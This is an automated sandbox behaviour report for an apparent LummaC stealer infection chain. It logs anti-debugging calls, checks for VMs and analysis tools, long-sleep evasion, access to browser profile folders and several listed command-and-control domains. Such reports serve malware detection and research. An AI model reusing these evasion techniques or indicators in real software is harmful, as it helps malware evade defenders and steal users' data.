Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7940	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep count: 544 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep time: -1088544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 5672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 6096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe TID: 7272	Thread sleep count: 76 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe TID: 7272	Thread sleep count: 122 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 2568	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 7404	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 940	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 1744	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 7408	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 3760	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 7400	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 7360	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 4900	Thread sleep count: 253 > 30
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 4900	Thread sleep time: -1518000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 7316	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe TID: 7484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe TID: 3912	Thread sleep count: 1104 > 30
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe TID: 3912	Thread sleep count: 191 > 30
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe TID: 7544	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 5700	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 7744	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 3300	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 3440	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe TID: 2044	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 7020	Thread sleep count: 82 > 30
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe TID: 7020	Thread sleep time: -492000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Thread sleep count: Count: 1104 delay: -10

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00F9DBBE
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA68EE FindFirstFileW,FindClose,	10_2_00FA68EE
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	10_2_00FA698F
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00F9D076
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F9D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00F9D3A9
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FA9642
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FA979D
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	10_2_00FA9B2B
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00FA5C97 FindFirstFileW,FindNextFileW,FindClose,	10_2_00FA5C97

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00F342DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Adobe
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\.ms-ad

Source: skotes.exe, skotes.exe, 00000002.00000002.1765672423.0000000000C7D000.00000040.00000001.01000000.00000007.sdmp, 0db0ccc3ed.exe, 0db0ccc3ed.exe, 00000008.00000002.2633510988.00000000007ED000.00000040.00000001.01000000.00000009.sdmp, e01d8601b1.exe, e01d8601b1.exe, 00000009.00000002.3141538548.0000000000D82000.00000040.00000001.01000000.0000000A.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3258537645.00000000007ED000.00000040.00000001.01000000.00000009.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3305281593.0000000006725000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 0db0ccc3ed.exe, 0000000D.00000002.3268323028.0000000001671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\0@g
Source: e01d8601b1.exe, 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware.A
Source: 0db0ccc3ed.exe, 0000000D.00000003.2892269661.00000000016CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZZwSdZPMOsf6R7ZnqnINGXv/hXYyssZKtFAZhRi+OkxwuUUphsQ6yr1JySaqMnQBNM2UanC4xEioXFTHSfwIV2m9EiXJhz2A4lu4KO47dAEkvN0tLeSVGaEZQItO8XMdMO0HJd+HfM63CPVm6TgmX3f4hT9AjfdIv15azl+gFXFRphR1itY2xKxF2WPrOjlIeeqQSWi4xEKle1TdX6AWFWuqHH6Hlj2augnjb9QUGlR17YhJaLDTTP4ZGcQY6RIPbKMCasvWKM6xH/En/yk6GUugxmA+64Vns0Fe2hj/a0k+9Ucrx8MqgOJZpDO/eWMJJvHIYT6lhRPsGRnZGOlrCH2/B2OE0TiHhDfXZeYrM0ti+4tocLX7dZJaT8xAuiVBfe1bJYiHY/n6Jft+7TtvFXLuxkcw890L5hd1xk62OgJSoANin8w1zrlJuCjsamwLOq6CaT7rlRnlAgqcCOM0AWftAyXflXWAqEmuKK0pJkty7ZB7OY37fbRQG+tbp2gPMO0aJd/+e4j2P9ZIqmR0ETjYplQ+/YUD8nho7hj/awcyijpLx4l7iPYmx0iqZHQROOGGdWTziwv2G3rrfvFlDzbhMUu9h3WA8kXASMNqehk8oqxYVfOLC/YbT9FO8RQBPrVVPcfoOMu0S9dm4S04T2WjsHJ5k8Zd/hkZzRjpegE+qQQl35dpm+9aoTi4NXpANPjGICz9hVn+DxnqAI8VfVGOPkvHiXvP+lHPKKJmFXVbrsg4Nv/3ZJoXF4sQ/RlgUu1bJc+LCe+USbgoogsXeF7JykpR84sL9hts+XfxZQ824SdKx4l7iPY+x1iqFXoZbK7eOFGwzkX8dlfAX709XjOfEmCE1izR+ke2bqpyZRc06pc4JuOXEOsEDpsKrmVWPrtVPdWJe9L6UbYv5Cc1WnrtlGp4sNNI+Wln5Fu6JU91vRNbufYtzaoOtiaqJXQBTa7ONHizhXTwF0GLAPEETHWjV0SJzDzMrBi7R+khOll//oA4MPPDC+YGF4tcoGsXLv9OMNSQa5KlR+8o/GpsCzqulDgm84JIrEVfyE6ybHFAqjonpskwx7YftiaqJXQBTa7ONHiw0wvwFxGHXrI9AG+nGiXJh3OMvArgJ/8pOhk6rs40ebzLC4EZGdMY6WtgfaYbJ6bJMMe2H+clzSUVV3/pim4+/YVN/g8IhRi1Og8m/Uc+0pRskOgWyXc=2eqpydB5j/4FobKPIT7VZXoxmj2dMa7xVK8fIe5iDSb4o1WR0QTS2xltsoctAv1RPwFW9OgJdtQJ1gId1gLxJrjukajBINLbWKiXmlhzuBUaFQfE9Dyb/WyWVh2OA/Qf7aekkN0tm6IVuffT7dfJ8X8xUpyBZ
Source: file.exe, 00000000.00000003.1712414668.00000000008DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2892269661.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3193155774.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3268323028.000000000163E000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3268323028.0000000001671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: e01d8601b1.exe, 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001B.00000002.2953892719.00000177E84C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000002.1736538803.000000000100D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1764051316.0000000000C7D000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1765672423.0000000000C7D000.00000040.00000001.01000000.00000007.sdmp, 0db0ccc3ed.exe, 00000008.00000002.2633510988.00000000007ED000.00000040.00000001.01000000.00000009.sdmp, e01d8601b1.exe, 00000009.00000002.3141538548.0000000000D82000.00000040.00000001.01000000.0000000A.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3258537645.00000000007ED000.00000040.00000001.01000000.00000009.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3305281593.0000000006725000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: e01d8601b1.exe, 00000009.00000002.3146940575.0000000001782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: 0db0ccc3ed.exe, 0000000D.00000002.3268323028.0000000001671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`>g

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B60C22 rdtsc

0_2_04B60C22

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FAEAA2 BlockInput,

10_2_00FAEAA2

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F62622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_00F62622

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00F342DE

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F54CE8 mov eax, dword ptr fs:[00000030h]

10_2_00F54CE8

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F90B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

10_2_00F90B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F62622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00F62622
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F5083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00F5083F
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F509D5 SetUnhandledExceptionFilter,	10_2_00F509D5
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Code function: 10_2_00F50C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00F50C21

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: e01d8601b1.exe PID: 3736, type: MEMORYSTR

LummaC encrypted strings found

Source: 0db0ccc3ed.exe	String found in binary or memory: p3ar11fter.sbs
Source: 0db0ccc3ed.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: 0db0ccc3ed.exe	String found in binary or memory: peepburry828.sbs
Source: 0db0ccc3ed.exe	String found in binary or memory: p10tgrace.sbs
Source: 0db0ccc3ed.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

10_2_00F91201

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F72BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00F72BA5

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F9B226 SendInput,keybd_event,

10_2_00F9B226

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FB22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

10_2_00FB22DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: unknown unknown

